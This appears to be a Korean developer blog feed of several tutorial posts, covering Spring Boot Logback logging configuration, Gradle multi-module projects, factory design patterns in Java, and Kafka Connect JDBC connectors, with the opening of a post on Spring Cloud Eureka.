다른 여러글을 찾아보면 모두 jcl-over-slf4j 의존성의 어댑터 패턴을 사용해 연결했다 써있지만 내가 쓰고 있는 스프링부트 버전에는 보이지 않아 직접 어댑터 부분을 찾아봤다.

먼저 Slf4j Logger의 구현체는 다음처럼 logback을 패키지를 사용한걸 볼 수 있다.

이제 JCL을 로그를 사용해보자

JCL 로그의 구체적 클래스는 다음과 같이 LogAdapter의 Slf4jLocationAwareLog 이 출력된다.

LogAdapter의 Slf4jLocationAwareLog 객체를 생성하는 부분이다.

Slf4jLocationAwareLog의 생성자 인자로 LocationAwareLogger를 받는데 이는 위 Slf4j와 같은 slf4j.Logger를 상속받아 사용한다.

결론은 JCL을 사용해도 결국 LogAdapter를 통해 Slf4j의 Logback을 사용하게 된다.

하지만 JCL은 명확한 단점(로그레벨 처리, 문자열 연산 등)들이 존재하기에 많은 개발자들이 Lombok @Slf4j 를 사용할 것 이다. @Slf4j를 사용하면 JCL을 사용하지 않고 바로 Slf4j 추상 라이브러리를 사용할 수 있다.

Logback 설정

Log Level

로그를 작성할 때 레벨을 설정해 원하는 로그만 출력시킬 수 있다. 로그 레벨은 총 5단계다.

TRACE < DEBUG < INFO < WARN < ERROR

위 순서대로 레벨을 가진다.

예를 들어 출력 레벨을 INFO 로 설정시 TRACE, DEBUG 레벨은 무시한다.

출력 레벨은 application.yml 을 통해 설정할 수 있다.

logging:
  level:
    root: debug

debug로 설정했기 때문에 trace는 출력되지 않음을 확인할 수 있다.

만약 특정 패키지부분만 다르게 하고싶다면 다음과 같이 패키지 경로에 레벨을 설정한다.

logging:
  level:
    root: debug
    jpabook.jpashop.test: trace #특정 패키지 경로

logback-spring.xml

위처럼 .yml 을 통해 로그를 설정할 수 있지만 자세한 동작 변경을 원한다면 .xml파일을 이용한다.

먼저 src/main/resources 하위에 logback-spring.xml 파일을 생성하자.

사용되는 태그의 의미는 다음과 같다.

<appender>: 로그 형태 설정, 로그 메세지 출력 대상(콘솔, 파일) 결정
<encoder>: <appender> 하위에 위치해 로그메세지 변환 역할
<pattern>: <encoder> 하위에 위치해 로그의 출력 포맷설정
<root>: 로그 전역 설정 로그를 출력할 패키지, 레벨 설정
<logger>: 로그 지역 설정 additivity 값은 <root> 설정 상속 유무
<file>: 로그 기록할 파일명, 경로
<rollingPolicy>: 로그 파일을 교체하는 정책을 정하는 태그
<fileNamePattern>: rollingPolicy 하위에서 로그 파일 패턴 설정
<property>: 값을 정하는 프로퍼티
<springProperty>: application.yml 의 값을 가져올 수 있는 태그
<springProfile>: 스프링 프로필에 따라 값 설정하는 태그
<timeBasedFileNamingAndTriggeringPolicy>: 파일 교체하는 트리거 내용 설정
<maxFileSize>: 파일 최대 크기 설정(<timeBasedFileNamingAndTriggeringPolicy> 하위 설정)
<maxHistory>: 파일 최대 저장 기한 설정(<timeBasedFileNamingAndTriggeringPolicy> 하위 설정)
<totalSizeCap>: 파일 전체 크기를 설정해 넘을시 오래된 파일부터 삭제(<timeBasedFileNamingAndTriggeringPolicy> 하위 설정)

콘솔 로그 출력 설정

<!-- logback.spring.xml -->
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <!-- 로그 출력 패턴 property -->
    <property name="LOG_PATTERN" value="%-5level %d{yy-MM-dd HH:mm:ss}[%thread] [%logger{0}:%line] - %msg%n"/>

    <!-- application.yml의 source에 해당하는 값 가져옴 -->
    <springProperty scope="context" name="LOG_LEVEL" source="logging.level.test"/>

    <!-- ch.qos.logback.core.ConsoleAppender클래스를 지정하여 콘솔에 로그 출력 설정 -->
    <appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender">
        <encoder class="ch.qos.logback.classic.encoder.PatternLayoutEncoder">
            <!-- 위에 정의한 LOG_PATTERN으로 패턴 설정 -->
            <pattern>${LOG_PATTERN}</pattern>
        </encoder>
    </appender>

    <!-- jpabook.jpashop.test 패키지 지역의 로그 설정 -->
    <logger name="jpabook.jpashop.test" level="warn" additivity="true">
        <appender-ref ref="CONSOLE"/>
    </logger>

    <!-- 프로젝트 전역 로그 설정 -->
    <root level="info">
        <appender-ref ref="CONSOLE"/>
    </root>
</configuration>

#application.yml
logging:
  level:
    test: warn

jpabook.jpashop.test

결과

위 결과를 보면 warn 2번, error 두번이 출력됐다.

이유는 <logger> 태그에 additivity=true가 선언됐기 때문인데 additivity는 부모 <logger>, <root> 의 appender를 상속할지 여부이다.

additivity=true이면 <logger>의 부모인 <root>의 appender도 표현되기 때문에 두번씩 출력되는 결과를 볼 수 있다. 다시 말하면 additivity=false이면 <root>로 전달되지 않고 <logger>의 appneder만 출력된다.

파일 로그 출력 설정

<!-- logback-spring.xml -->
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <!-- 로그 패턴 -->
    <property name="LOG_PATTERN" value="%-5level %d{yy-MM-dd HH:mm:ss}[%thread] [%logger{0}:%line] - %msg%n"/>

    <!-- application.yml의 source에 해당하는 값 가져옴 -->
    <springProperty scope="context" name="LOG_LEVEL" source="logging.level.test"/>

    <!-- profile이 local인 경우 property 설정-->
    <springProfile name="local">
        <property name="PATH" value="./logs/test-local.log"/>
    </springProfile>

    <!-- ch.qos.logback.core.rolling.RollingFileAppender클래스를 지정하여 여러 파일을 순회하며 로그 저장 설정 -->
    <appender name="FILE" class="ch.qos.logback.core.rolling.RollingFileAppender">
        <!-- 파일 경로 및 이름 -->
        <file>${PATH}</file>
        <encoder class="ch.qos.logback.classic.encoder.PatternLayoutEncoder">
            <pattern>${LOG_PATTERN}</pattern>
        </encoder>
        <!-- 로그파일을 교체하는 정책 TimeBasedRollingPolicy: 시간 단위 -->
        <rollingPolicy class="ch.qos.logback.core.rolling.TimeBasedRollingPolicy">
            <!-- 파일 이름 -->
            <fileNamePattern>./logs/time.%d{yyyy-MM-dd}.%i.log</fileNamePattern>
            <!-- 특정 액션에 따라 파일 교체 -->
            <timeBasedFileNamingAndTriggeringPolicy class="ch.qos.logback.core.rolling.SizeAndTimeBasedFNATP">
                <!-- 최대 사이즈 -->
                <maxFileSize>5KB</maxFileSize>
                <!--<maxHistory>10</maxHistory>--> <!-- 파일의 최대 저장 기한  -->
                <!--<totalSizeCap>3GB</totalSizeCap>--> <!-- 전체 파일 크기를 제어하며, 용량을 초과하면 가장 오래된 파일 삭제 -->
            </timeBasedFileNamingAndTriggeringPolicy>
        </rollingPolicy>
    </appender>

    <root level="info">
        <appender-ref ref="FILE"/>
    </root>
</configuration>

#application.yml
spring:
  profiles:
    active: local
logging:
  level:
    test: info

위에서 보면 <springProfile> 을 local로 설정했기에 test-local.log라는 이름으로 로그 파일 생성된 것을 볼 수 있다.

참고

https://goddaehee.tistory.com/206

https://dololak.tistory.com/635

[스프링] 멀티 모듈(Multi Module) 개념/예제 feat. Gradle

Awdsd — Sun, 19 Dec 2021 21:44:09 +0900

최근 진행하는 토이 프로젝트의 API 서버는 서로 독립된 프로젝트 2개로 이루어져있었다.

인증 서버
어플리케이션 서버

처음에는 기능 구현 자체에 초점을 맞추고 각자의 프로젝트 크기도 크지 않아서 불편함을 느끼지 못했다. 하지만 프로젝트를 진행하면서 크기가 커지면서 domain 을 각각 프로젝트에 선언했기 때문에 동일성을 보장하기 위해 똑같은 작업을 두개의 Applicaton에 작업을 해줘야했다. 또한 공통적인 Repository도 각 Application에서 작성해줘야하는게 여간 번거로운게 아니었고, 똑같은 코드가 생긴다는게 썩 마음에 들지 않았다.

그리고 알아보던중 멀티 모듈(Multi Module)에 대해 알게 되었다.

이번 글에서는 멀티 모듈 개념/예제에 대해 알아보자.

멀티 모듈 이란?

멀티 모듈이란 서로 독립적인 프로젝트(인증, 어플리케이션)를 하나의 프로젝트로 묶어 모듈로서 사용되는 구조를 말한다.

멀티 모듈을 사용하면 공통적인 기능을 모아 하나의 모듈로 만드는 것이 가능하다. 즉, 인증과 어플리케이션에서 공통으로 사용하는 util, domain, Repository등을 모듈로 분리해 사용할 수 있는 것이다.

멀티 모듈에 관련해 더 자세하게 알고 싶은 경우 아래 글을 참고하길 바란다.

https://techblog.woowahan.com/2637/

멀티 모듈 간단 예제

이제 간단하게 Gradle을 사용해 멀티 모듈 프로젝트를 만들어보자.

먼저 모듈들을 모을 Gradle 프로젝트를 하나 만들어주자.

MacOS IntelliJ 기준 File→New→Project 경로에 위의 사진처럼 Gradle 프로젝트를 하나 생성한다.

그럼 위와 같은 구조의 프로젝트가 생성된다. 일단 모듈을 담을 프로젝트이기때문에 src폴더가 필요없기 때문에 src폴더는 삭제해주자 그리고 build.gradle 아래와 같이 입력한다.

buildscript {
    ext {
        springBootVersion = '2.4.3'
    }
    repositories {
        mavenCentral()
    }
    dependencies {
        classpath("org.springframework.boot:spring-boot-gradle-plugin:${springBootVersion}")
        classpath "io.spring.gradle:dependency-management-plugin:1.0.11.RELEASE"
    }
}

allprojects {}

subprojects {
    apply plugin: 'java'
    apply plugin: 'org.springframework.boot'
    apply plugin: 'io.spring.dependency-management'

    group = 'kr.multi.ex'
    version = '1.0'
    sourceCompatibility = '11'

    repositories {
        mavenCentral()
    }

    dependencies {
        compileOnly 'org.projectlombok:lombok:1.18.16'
        annotationProcessor 'org.projectlombok:lombok:1.18.16'
        testImplementation 'org.springframework.boot:spring-boot-starter-test'
        testImplementation('org.springframework.boot:spring-boot-starter-test') {
            exclude group: 'org.junit.vintage', module: 'junit-vintage-engine'
        }
    }
}

위의 큰 3개의 Closure를 간단하게 설명하면 다음과 같다

buildscript : Gradle 이 빌드되기전 실행되는 설정

allprojects : 현재의 root 프로젝트와 앞으로 추가될 서브 모듈에 대한 설정

subprojects : 전체 서브 모듈 에 해당되는 설정

이제 모듈들을 생성해보자. 모듈은 core, api 를 생성해보자.

core는 spring-boot-starter 의존성을 가지고 있고 이것을 api가 사용할 수 있게 해보자.

root 폴더를 우클릭 → New → Module을 클릭해서 Gradle Module을 생성해주자

생성하면 다음가 같은 폴더 구조가 될 것이다.

이제 settings.gradle을 보면 다음과 같이 방금 생성한 core가 include 된것을 확인할 수 있다. 이것은 하위 모듈로 선언한다는 의미이다.

IntelliJ의 Gradle Tab에서도 보면 다음과 같이 core가 root 하위에 존재하는 것을 확인할 수 있다.

core의 build.gradle 에 아래처럼 의존성만 추가하자

//core build.gradle
dependencies {
    compile 'org.springframework.boot:spring-boot-starter-web:2.6.1'
}
bootJar {
    enabled = false
}

jar {
    enabled = true
}

여기서 중요한 것은 bootJar와 jar다 bootJar은 실행가능한 jar를 만들려 하기 때문에 main()이 필요하다 그렇기 때문에 main()이 없는 core는 enabled를 false로 해줘야하고 결론적으로 저걸 넣지 않으면 추후 core에 있는 Bean Class를 다른 모듈에서 사용할 때 에러가 발생할 수 있다.

그리고 의존성을 추가할 때 implementation 대신 compile을 사용했는데 그 이유에 대해서는 밑에서 설명하겠다

이제 gradle을 갱신하면 root의 build.gradle subprojects에 선언한 lombok과 spring-boot-starter가 추가된 것을 확인할 수 있다.

바로 api 모듈도 core가 똑같은 과정을 통해 만들면 다음과 같은 구조가 될 것이다.

api의 build.gradle은 다음과 같이 아무런 의존성을 넣지 않았다.

//api build.gradle
dependencies {}

이제 root의 build.gradle 맨 아래에 다음을 추가해보자.

project(':api') {
    dependencies {
        implementation project(':core')
    }
}

api 모듈에 core의 의존성을 추가하라는 의미이다.

갱신해보면 아래처럼 api에 spring-boot-starter 추가된 것을 확인할 수 있다.

이제 api에서 @SpringBootApplication을 선언했을 때 정상적으로 사용할 수 있다.

core에 Bean Class를 만들고 api에서 호출하는 예제는 다음과 같다. 간단하게 @Service Bean을 만들어 테스트한 코드다.

//core 모듈
@Service
public class TestService {
    public String test() {
        return "core의 Bean Class 테스트";
    }
}

//api 모듈
@RestController
@RequiredArgsConstructor
public class TestController {
    private final TestService testService;
    @GetMapping("/test")
    public String test() {
        return testService.test();
    }
}

구조로 보면 다음과 같다.

이제 api 를 실행후 /test를 호출하면 아래의 결과를 볼 수 있다.

여기서 주의할 점은 core와 api의 패키지 구조다. 현재 상위 패키지가 kr.multi.ex로 통일 된 것을 볼 수있는데 이렇게 통일하지 않으면 api에서 core의 bean을 읽어오지 못해 에러가 발생한다.

만약 위처럼 api의 패키지를 kr.multi.ex2로 변경하면 패키지가 공통이 되지 않기 때문에 아래와 같은 에러를 호출한다.

좀 더 정확히 말하면 Application 클래스의 위치한 곳의 패키지가 공통으로 맞춰져 있어야한다. 만약 패키지를 못맞춘다면 아래와 같이 scanBasePackages 옵션을 통해 Bean을 스캔할 수 있다.

@SpringBootApplication(scanBasePackages = "kr.multi")
public class ApiApplication {
    public static void main(String[] args) {
        SpringApplication.run(ApiApplication.class);
    }
}

core의 의존성을 compile로 선언한 이유

위에서 core 의존성을 추가할 때 compile을 사용했는데 그 이유는 implementation은 직접 의존하는 모듈(core)외에서는 사용할 수 없기 때문이다.

즉 core의 spring-boot-starter를 implementation으로 선언할 경우 api에서는 spring-boot-starter를 가져오지 않는다.

위처럼 core의 의존성을 implementation으로 할 경우 api에서는 못가져오는 것을 볼 수 있다.

하지만 compile은 gradle에서 권장되지 않는 방식이다. 심지어 현재는 예제의 gradle은 6.x버전이라 compile을 사용할 수 있지만 7.0 버전 이상부터는 compile을 사용할 수 없다.

그럼 어떻게 해야하나?

7.0버전 이상부터는 api 키워드를 사용할 수 있다. api는 compile이랑 비슷한 키워드라 생각하면 된다.

만약 gradle 버전을 올리고 싶다면 root 프로젝트 위치에서 해당 명령어를 통해 gradle 버전을 변경할 수 있다.

$ ./gradlew wrapper --gradle-version=7.x

api를 사용하기 위해서는 root build.gradle의 subprojects의 다음을 수정해준다.
apply plugin:’java’ → apply plugin:’java-library’

그리고 다음처럼 의존성을 추가하면 된다.

//core build.gradle
dependencies {
    api 'org.springframework.boot:spring-boot-starter-web:2.6.1'
}
bootJar {
    enabled = false
}

jar {
    enabled = true
}

비고

https://kwonnam.pe.kr/wiki/gradle/multiproject

https://velog.io/@sangwoo0727/Gradle을-이용한-멀티-모듈

https://wellbell.tistory.com/253#comment16473032

[디자인 패턴] 팩토리 패턴 종류/개념/예제

Awdsd — Fri, 17 Dec 2021 16:49:43 +0900

이번 포스팅에서는 팩토리 패턴의 개념에 대해 포스팅하고자 한다.

1. 심플 팩토리 패턴

팩토리 패턴에는 팩토리 메소드 패턴, 추상 팩토리 패턴이있다. 이 두가지 패턴을 알기전에 먼저 심플 팩토리(Simple Factory)패턴에 대해 간략하게 설명하고 가자.

심플 팩토리 패턴은 간단하게 말해서 객체를 생성하는 클래스를 따로 두는 것을 의미한다.

클라이언트에서 휴대폰을 주문하는 코드를 예시로 해보자.

//휴대폰을 만드는 공장
public class SimplePhoneFactory {
    public Phone orderPhone(String type) {
        Phone phone = createPhone(type);
        phone.complete();
        return phone;
    }
    private Phone createPhone(String type) {
        return switch (type) {
            case "IPHONE" -> new IPhone();
            case "ANDROID" -> new AndroidPhone();
            default -> null;
        };
    }
}

//휴대폰 인터페이스
public interface Phone {
    void complete();
    void call();
}

//아이폰
public class IPhone implements Phone{
    @Override
    public void complete() {
        System.out.println("아이폰 완성");
    }

    @Override
    public void call() {
        System.out.println("아이폰으로 전화를 한다");
    }
}

//안드로이드 폰
public class AndroidPhone implements Phone{
    @Override
    public void complete() {
        System.out.println("안드로이드폰 완성");
    }

    @Override
    public void call() {
        System.out.println("안드로이드폰으로 전화를 한다");
    }
}

//클라이언트는 휴대폰 공장에 휴대폰을 주문한다.
public class Practice {
    public static void main(String[] args){
        SimplePhoneFactory simplePhoneFactory = new SimplePhoneFactory();
        Phone phone = simplePhoneFactory.orderPhone("ANDROID");
        phone.call();
    }
}

//결과
안드로이드폰 완성
안드로이드폰으로 전화를 한다

위 코드를 보면 SimplePhoneFactory에서 switch문를 통해 클라이언트가 주문할 휴대폰의 객체를 createPhone()를 통해 직접 객체를 생성하는 것을 볼 수 있다.

이게 끝이다!

심플 팩토리는 단순히 객체를 만드는 작업을 하나의 팩토리 클래스에 모아두는 것을 의미한다.

2. 팩토리 메소드 패턴

팩토리 메소드 패턴의 정의는 다음과 같다.

객체를 생성하기 위한 인터페이스를 정의하는 과정에서
어떤 클래스의 인스턴스를 만들지는 서브클래스에서 결정
즉, 클래스의 인스턴스를 만드는 일을 서브클래스에게 맡기는 것

다시 말하면 위에서 봤던 심플 팩토리 패턴에서 createPhone() 부분에서 Factory에서 직접 객체를 만드는 것을 Factory를 상속한 서브클래스에서 객체를 만들게끔 하는 것이 팩토리 메소드 패턴이라 보면된다. 위의 코드에 팩토리 메소드 패턴을 적용해보자.

public interface PhoneFactory {
    default Phone orderPhone() {
        Phone phone = createPhone();
        phone.complete();
        return phone;
    }
    Phone createPhone();
}

public class IPhoneFactory implements PhoneFactory {
    @Override
    public Phone createPhone() {
        return new IPhone();
    }
}

public class AndroidPhoneFactory implements PhoneFactory {
    @Override
    public Phone createPhone() {
        return new AndroidPhone();
    }
}

public interface Phone {
    void complete();
    void call();
}
public class IPhone implements Phone{
    @Override
    public void complete() { System.out.println("아이폰 완성"); }
    @Override
    public void call() { System.out.println("아이폰으로 전화를 한다"); }
}
public class AndroidPhone implements Phone{
    @Override
    public void complete() {System.out.println("안드로이드폰 완성");}
    @Override
    public void call() {System.out.println("안드로이드폰으로 전화를 한다");}
}

public class Practice {
    public static void main(String[] args){
        IPhoneFactory iPhoneFactory = new IPhoneFactory();
        Phone phone7 = iPhoneFactory.orderPhone();
        phone7.call();

        AndroidPhoneFactory androidPhoneFactory = new AndroidPhoneFactory();
        Phone phone2 = androidPhoneFactory.orderPhone();
        phone2.call();
    }
}

//결과
아이폰 완성
아이폰으로 전화를 한다
안드로이드폰 완성
안드로이드폰으로 전화를 한다

먼저 위의 UML 다이어그램과 코드를 매핑해보면 다음과 같다.

PhoneFactory : Creator

AndroidPhoneFactory, IPhoneFactory : ConcreteCreator

AndroidPhone, IPhone : Product

이제 코드를 보면 심플 팩토리 패턴에서 달라진것은 먼저 SimplePhoneFactory를 인터페이스화 한다. 그리고 구현체로 IPhoneFactory, AndroidPhoneFactory를 만들고 createPhone()을 각자의 Factory에서 Phone 객체 생성 구현체를 만든다.

이렇게 하면 **팩토리 메소드 패턴 정의대로 서브클래스(IPhoneFactory,AndroidPhoneFactory)에서 어떤 객체를 생성할지 결정할 수 있게 된것이다.**

이렇게 구조를 잡는다면 추후 아이폰, 안드로이드폰의 종류가 여러개로 늘어난다 해도 Phone구현체 클래스의 생성과 createPhone()의 분기처리만 해줌으로써 확장이 가능한 구조가 된다.

즉 클래스 만들 때 확장은 가능하게 하되, 한번 만들면 추후에 수정할 필요 없게 만들라는 원칙인 ****OCP (개방 폐쇄의 원칙 : Open Close Principle)를 따르게 된다.

다음은 이제 추상 팩토리 패턴에 대해 알아보자.

3. 추상 팩토리 패턴

구체적인 클래스에 의존하지 않고 서로 연관되거나 의존적인 객체들의 조합을 만드는 인터페이스를 제공하는 패턴

먼저 위에서 본 메소드 팩토리 패턴에서는 PhoneFactory의 구현체 IPhoneFactory, AndroidPhoneFactory가 각각 IPhone객체 AndroidPhone객체 하나씩을 생성하게끔 작성했다.

추상 팩토리 패턴은 이것을 한번더 감싸서 하나의 Factory에서 여러개의 제품군(Product)조합을 생성할 수 있게 해주는 패턴이다.

추상 팩토리 패턴 예제를 위해 아이폰에는 IOS를 안드로이드폰에는 Google OS를 설치하는 요구사항을 넣어보자.

///
public interface PhoneFactoryOfFactory {
    PhoneFactory requestPhone(String company);
}
public class DefaultPhoneFactoryOfFactory implements PhoneFactoryOfFactory{
    @Override
    public PhoneFactory requestPhone(String company) {
        switch (company) {
            case "IPHONE":
                return new IPhoneFactory();
            case "ANDROID":
                return new AndroidPhoneFactory();
        }
        throw new IllegalArgumentException();
    }
}
///

///
public interface PhoneFactory {
    Phone createPhone();
    OS createOS();
}
public class IPhoneFactory implements PhoneFactory{
    @Override
    public Phone createPhone() {
        OS os = createOS();
        os.installOS();
        return new IPhone();
    }
    @Override
    public OS createOS() {
        return new IOS();
    }
}
public class AndroidPhoneFactory implements PhoneFactory{
    @Override
    public Phone createPhone() {
        OS os = createOS();
        os.installOS();
        return new AndroidPhone();
    }
    @Override
    public OS createOS() {
        return new GoogleOS();
    }
}
///

///
public interface OS {
    void installOS();
}
public class IOS implements OS {
    @Override
    public void installOS() {
        System.out.println("IOS 설치");
    }
}
public class GoogleOS implements OS {
    @Override
    public void installOS() {
        System.out.println("구글OS 설치");
    }
}
///

///
public interface Phone {
    public void call();
    public void playGame();
}
public class IPhone implements Phone{
    @Override
    public void call() {
        System.out.println("아이폰으로 전화하다");
    }

    @Override
    public void playGame() {
        System.out.println("아이폰으로 게임하다");
    }
}
public class AndroidPhone implements Phone{
    @Override
    public void call() {
        System.out.println("안드로이드로 전화하다");
    }

    @Override
    public void playGame() {
        System.out.println("안드로이드로 게임하다");
    }
}
///

public class Main {
    public static void main(String[] args) {
        PhoneFactoryOfFactory phoneFactoryOfFactory = new DefaultPhoneFactoryOfFactory();
        PhoneFactory iphoneFactory= phoneFactoryOfFactory.requestPhone("IPHONE");   //아이폰을 산다.
        Phone iphone = iphoneFactory.createPhone();
        iphone.call();
        iphone.playGame();

        PhoneFactory androidPhoneFactory = phoneFactoryOfFactory.requestPhone("ANDROID");   //안드로이드폰을 산다.
        Phone androidPhone = androidPhoneFactory.createPhone();
        androidPhone.call();
        androidPhone.playGame();
    }
}

//결과
IOS 설치
아이폰으로 전화하다
아이폰으로 게임하다
구글OS 설치
안드로이드로 전화하다
안드로이드로 게임하다

코드를 보면 PhoneFactory에서 Phone과 OS를 생성할 수 있는데 IPhoneFactory는 IPhone과 IOS조합으로 객체를 생성할 수 있고, AndroidPhoneFactory는 AndroidPhone과 GoogleOS조합으로 객체를 생성할 수 있다.

즉, PhoneFactory는 Phone과 OS를 조합하는 구현체를 제공한다.

그래서 추상 팩토리 패턴의 장점은 다음과 같다.

구체적인 클래스를 사용자로부터 분리할 수 있다.
→ 사용자가 사용할 때는 정의된 인터페이스에 정의된 추상 메소드를 사용만 하면 된다.
제품군을 쉽게 대체할 수 있다.
→ 내가 만약 IPhone대신 블랙베리 폰을 생성하고 싶다면 BlackBerry를 구현후 IPhoneFactory를 BlackBerryFactory로 변경만 해주면 된다.

단점은 다음과 같다.

새로운 종류의 제품을 제공하기 어렵다
→ 만약 PhoneFactory에 createBattery()라는 추상 메소드가 추가된다면 PhoneFactory의 모든 서브 구현체를 다시 수정해야한다.

[Kafka] Kafka Connect 개념/예제

Awdsd — Sat, 16 Oct 2021 14:27:33 +0900

이번 포스팅에서 Kafka의 Connector의 대해 포스팅하고자한다.

Kafka Connect란?

먼저 Kafka는 Producer와 Consumer를 통해 데이터 파이프라인을 만들 수 있다. 예를 들어 A서버의 DB에 저장한 데이터를 Kafka Producer/Consumer를 통해 B서버의 DB로도 보낼 수 있다. 이러한 파이프라인이 여러개면 매번 반복적으로 파이프라인을 구성해야줘야한다. KafkConnect는 이러한 반복적인 파이프라인 구성을 쉽고 간편하게 만들 수 있게 만들어진 Apache Kafka 프로젝트중 하나다.

Kafka Connect 파이프라인 아키텍처

위 사진을 보면 Kafka Connect를 이용해 왼쪽의 DB의 데이터를 Connect와 Source Connector를 사용해 Kafka Broker로 보내고 Connect와 Sink Connector를 사용해 Kafka에 담긴 데이터를 DB에 저장하는 것을 알 수 있다.

여기서 중요한 건 Connect와 Connector의 차이와 Source Connector와 Sink Connector이다.

Connect: Connector를 동작하게 하는 프로세서(서버)
Connector: Data Source(DB)의 데이터를 처리하는 소스가 들어있는 jar파일

Source Connector: data source에 담긴 데이터를 topic에 담는 역할(Producer)을 하는 connector
Sink Connector: topic에 담긴 데이터를 특정 data source로 보내는 역할(Consumer 역할)을 하는 connector

또한 Connect는 단일 모드(Standalone)와 분산 모드(Distributed)로 이루어져있다.

단일 모드(Standalone): 하나의 Connect만 사용하는 모드

분산 모드(Distributed): 여러개의 Connect를 한개의 클러스트로 묶어서 사용하는 모드.
-> 특정 Connect가 장애가 발생해도 나머지 Connect가 대신 처리하도록 함

Kafka Connect는 REST API를 사용해서 Connector를 등록 및 사용할 수 있다. 이제 예제를 한번 해보자.

Kafka Connect 예제

이번 예제에서 mysql table에 데이터를 insert하면 다른 table에 데이터가 그대로 저장되는 예제를 해본다.

먼저 선작업으로 DB에 Table을 하나 만들자.

CREATE SCHEMA test;

CREATE TABLE test.users (
    id INT PRIMARY KEY AUTO_INCREMENT,
    name VARCHAR(20)
)

Kafka 설치

다운로드 링크 : https://kafka.apache.org/downloads

설치후 해당 디렉토리 이동후 아래처럼 server.properties 파일을 열어

$ vi config/server.properties

listneres=PLAINTEXT://:9092 주석을 풀고 localhost를 입력해준다.

kafka 디렉토리에서 아래의 명령어를 통해 zookeeper server와 kafka broker를 실행해준다.

$ ./bin/zookeeper-server-start.sh ./config/zookeeper.properties
$ ./bin/kafka-server-start.sh ./config/server.properties

zookeeper, kafka 실행

Kafka Connect 설치

다운로드 링크: https://packages.confluent.io/archieve/6.1/confluent-community-6.1.0.tar.gz

설치후 kafka-connect 디렉토리에서 아래 명령어로 kafka-connect 실행(zookeeper와 kafka broker가 실행되어있어야함)

$ ./bin/connect-distributed ./etc/kafka/connect-distributed.properties

실행하고 나서 kafka 디렉토리에서 아래 명령어를 실행하여 topic 리스트를 확인하면

$ ./bin/kafka-topics.sh --bootstrap-server localhost:9092 --list

다음과 같은 topic이 생성된 걸 확인할 수 있다.

Connector 설치

JDBC Connector 다운로드 링크 : https://docs.confluent.io/5.5.1/connect/kafka-connect-jdbc/index.html

설치를 하면 아래의 디렉토리가 설치된다.

Kafka Connect 디렉토리에서

$ vi etc/kafka/connect-distributed.properties

아래처럼 plugin.path={kafka connect jdbc plugin 경로}/lib을 입력해준다.

Mysql Connector 설치

connector에서 mysql을 사용하기 위해 추가적으로 mysql connector를 설치해줘야한다.

다운로드 링크: https://dev.mysql.com/downloads/connector/j/

해당 링크로 이동해 설치후 mysql-connector-java-버전.jar파일을
{kafka-connector디렉토리}/share/java/kafka에 복사한다.

이제 Connect의 REST API를 통해 Source Connector와 Sink Connector를 생성해보자.

Source Connector

아래 처럼 connect에 요청을 통해 Source Connector를 생성하자.

{
    "name": "my-source-connect",
    "config": {
        "connector.class": "io.confluent.connect.jdbc.JdbcSourceConnector",
        "connection.url": "jdbc:mysql://localhost:3306/test",
        "connection.user":"root",
        "connection.password":"비밀번호",
        "mode":"incrementing",
        "incrementing.column.name" : "id",
        "table.whitelist" : "users",
        "topic.prefix" : "example_topic_",
        "tasks.max" : "1",
    }
}
cUrl -X POST -d @- http://localhost:8083/connectors --header "content-Type:application/json"

포스트맨을 사용하면 다음과 같다.

각 속성의 의미는 다음과 같다.

name : source connector 이름(JdbcSourceConnector를 사용)
config.connector.class : 커넥터 종류(JdbcSourceConnector 사용)
config.connection.url : jdbc이므로 DB의 정보 입력
config.connection.user : DB 유저 정보
config.connection.password : DB 패스워드
config.mode : "테이블에 데이터가 추가됐을 때 데이터를 polling 하는 방식"(bulk, incrementing, timestamp, timestamp+incrementing)
config.incrementing.column.name : incrementing mode일 때 자동 증가 column 이름
config.table.whitelist : 데이터를 변경을 감지할 table 이름
config.topic.prefix : kafka 토픽에 저장될 이름 형식 지정 위 같은경우 whitelist를 뒤에 붙여 example_topic_users에 데이터가 들어감
tasks.max : 커넥터에 대한 작업자 수(본문 인용.. 자세한 설명을 찾지 못함)

실행 후 아래 요청을 통해 생성된 Connectors List를 확인할 수 있다.

cUrl -X GET -d @- http://localhost:8083/connectors

이제 test.users table에 데이터를 insert해보자.

그리고 kafka server 디렉토리에서 아래 명령어를 통해 topic 리스트를 확인해보면 example_topic_users 토픽이 생성된 것을 확인할 수 있다.(DB에 데이터를 삽입함으로써 Source Connector가 DB데이터를 topic에 push한 것)

$ ./bin/kafka-topics.sh --bootstrap-server localhost:9092 --list

토픽 리스트

Sink Connector

이제 Source Connector를 통해 topic에 넣은 데이터를 Sink하기 위해 Sink Connector를 생성해보자

Source Connector와 동일하게 아래처럼 API통해 생성한다.

{
    "name": "my-pksink-connect",
    "config": {
        "connector.class": "io.confluent.connect.jdbc.JdbcSinkConnector",
        "connection.url": "jdbc:mysql://localhost:3306/test",
        "connection.user":"root",
        "connection.password":"비밀번호",
        "auto.create":"true",
        "auto.evolve":"true",
        "delete.enabled":"false",
        "tasks.max":"1",
        "topics":"example_topic_users"
    }
}

cUrl -X POST -d @- http://localhost:8083/connectors --header "content-Type:application/json"

sourceConnector와 겹치는 속성을 제외한 속성은 다음과 같은 뜻을 가진다

auto.create : 데이터를 넣을 테이블이 누락되었을 경우 자동 테이블 생성 여부
auto.evolve : 특정 데이터의 열이 누락된 경우 대상 테이블에 ALTER 구문을 날려 자동으로 테이블 구조를 바꾸는지 여부 (하지만 데이터 타입 변경, 컬럼 제거, 키본 키 제약 조건 추가등은 시도되지 않는다)
delete.enabled : 삭제 모드 여부

더 자세한 속성은 해당 링크에서 확인할 수 있다.

https://docs.confluent.io/kafka-connect-jdbc/current/sink-connector/sink_config_options.html

생성후 users table에 데이터를 insert하면

example_topic_users table이 생성된 것을 볼 수 있고

users table과 example_topic_users table

서로 테이블의 내용이 같은 것을 확인할 수 있다.

참고

https://debezium.io/documentation/reference/1.3/architecture.html

https://always-kimkim.tistory.com/entry/kafka101-connect

[Spring Cloud] Eureka 개념 및 예제

Awdsd — Mon, 13 Sep 2021 21:58:05 +0900

최근 Spring Cloud에 대해 학습한 것을 정리하고자한다.

이번 글에서는 Eureka개념과 Eureka Server 생성 예제를 정리한다.

Eureka는 무엇인가?

Eureka는 클라우드 환경의 다수의 서비스(예: API 서버)들의 로드 밸런싱 및 장애 조치 목적을 가진 미들웨어서버이다.

로드 밸런싱 : 특정 서비스를 제공하는 서버가 여러대가 있을 때 트래픽을 한 서버에 몰리지 않게 분산해주는 기술이다.

